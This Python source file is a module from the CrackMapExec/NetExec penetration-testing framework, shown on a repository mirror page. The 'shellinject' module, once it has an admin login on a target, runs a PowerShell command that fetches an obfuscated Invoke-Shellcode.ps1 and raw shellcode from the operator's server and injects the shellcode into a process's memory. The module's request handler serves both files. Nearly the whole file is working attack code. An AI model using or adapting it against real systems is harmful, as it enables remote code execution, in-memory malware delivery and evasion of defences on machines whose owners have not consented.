mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
byt3bl33d3r
77 lines
3.0 KiB
Python
77 lines
3.0 KiB
Python
import os
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from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
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from sys import exit
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class CMEModule:
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'''
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Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
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Module by @byt3bl33d3r
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'''
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name = 'shellinject'
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description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
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def options(self, context, module_options):
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'''
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PATH Path to the raw shellcode to inject
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PROCID Process ID to inject into (default: current powershell process)
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'''
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if not 'PATH' in module_options:
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context.log.error('PATH option is required!')
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exit(1)
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self.shellcode_path = os.path.expanduser(module_options['PATH'])
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if not os.path.exists(self.shellcode_path):
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context.log.error('Invalid path to shellcode!')
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exit(1)
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self.procid = None
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if 'PROCID' in module_options.keys():
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self.procid = module_options['PROCID']
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self.obfs_name = gen_random_string()
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def on_admin_login(self, context, connection):
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payload = """
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IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
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$WebClient = New-Object System.Net.WebClient;
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[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
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Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server,
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port=context.server_port,
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addr=context.localip,
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func_name=self.obfs_name,
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shellcode=os.path.basename(self.shellcode_path))
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if self.procid:
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payload += ' -ProcessID {}'.format(self.procid)
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context.log.debug('Payload:{}'.format(payload))
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payload = create_ps_command(payload, force_ps32=True)
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connection.execute(payload)
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context.log.success('Executed payload')
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def on_request(self, context, request):
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if 'Invoke-Shellcode.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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with open(get_ps_script('CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
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ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
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request.wfile.write(ps_script)
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elif os.path.basename(self.shellcode_path) == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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with open(self.shellcode_path, 'rb') as shellcode:
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request.wfile.write(shellcode.read())
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#Target has the shellcode, stop tracking the host
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request.stop_tracking_host()
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else:
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request.send_response(404)
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request.end_headers() |